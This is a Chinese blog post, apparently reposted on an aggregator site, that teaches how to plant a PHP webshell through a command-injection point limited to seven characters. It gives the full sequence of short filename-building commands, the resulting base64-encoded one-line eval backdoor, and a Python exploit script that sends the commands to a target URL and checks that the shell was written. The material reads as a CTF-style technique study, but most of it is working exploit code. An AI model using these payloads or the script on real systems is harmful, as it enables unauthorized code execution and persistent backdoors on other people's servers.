可控字符串长度受限情况下GetShell
2021/9/24 7:11:03
本文主要是介绍可控字符串长度受限情况下GetShell,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
可控字符串长度受限情况下GetShell
- 思路分析
- 利用案例
- EXP
环境:命令执行只允许输入七个字符,尝试写入webshell
思路分析
通过创建特殊的文件名(含有php代码),创建完后使用ls命令:ls>0 (把当前目录下所有的文件名写入到文件0中)。
shell命令太长,受长度限制,可以使用 “” 来分割,实现换行输入,最后写入到一个新的文件,然后执行:sh 0。文件0 执行后产生 1.php 就是写入的php马。
注:要考虑写入的先后顺序问题,使用ls可以加上-t参数来排序(最新创建的在最前面)默认按照数字在前,字母顺序排列 ;webshell最好采用base64编码,避免一些特殊字符转义问题。
利用案例
# 加两个反斜杠是为了转义后面那个反斜杠 w>hp w>1.p\\ w>d\>\\ w>\ -\\ w>e64\\ w>bas\\ w>7\|\\ w>XSk\\ w>Fsx\\ w>dFV\\ w>kX0\\ w>bCg\\ w>XZh\\ w>AgZ\\ w>waH\\ w>PD9\\ w>o\ \\ w>ech\\ ls -t>0 # 按照时间排序,最后创建的在最前面 sh 0
# 文件0 中的内容 echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php # 执行:sh 0,即可生成 1.php
EXP
由于命令较多,手工测试较为麻烦,直接写个脚本
import requests url1 = "http://IP/index.php?shell=" with open("command.txt", "r") as f: for i in f: url = url1 + i.strip() requests.get(url) # print "已经请求%S" % url res = requests.get("http://IP/1.php") if res.status_code: print 'ok'
这篇关于可控字符串长度受限情况下GetShell的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-0601-电商商品中心解密:仅凭SKU真的足够吗?
- 2024-05-01为什么公共事业机构会偏爱 TiDB :TiDB 数据库在某省妇幼健康管理系统的应用
- 2024-04-26敏捷开发:想要快速交付就必须舍弃产品质量?
- 2024-04-26静态代码分析的这些好处,我竟然都不知道?
- 2024-04-26你在测试金字塔的哪一层?(下)
- 2024-04-26快刀斩乱麻,DevOps让代码评审也自动起来
- 2024-04-262024年最好用的10款ER图神器!
- 2024-04-2203-为啥大模型LLM还没能完全替代你?
- 2024-04-2101-大语言模型发展
- 2024-04-17基于SpringWeb MultipartFile文件上传、下载功能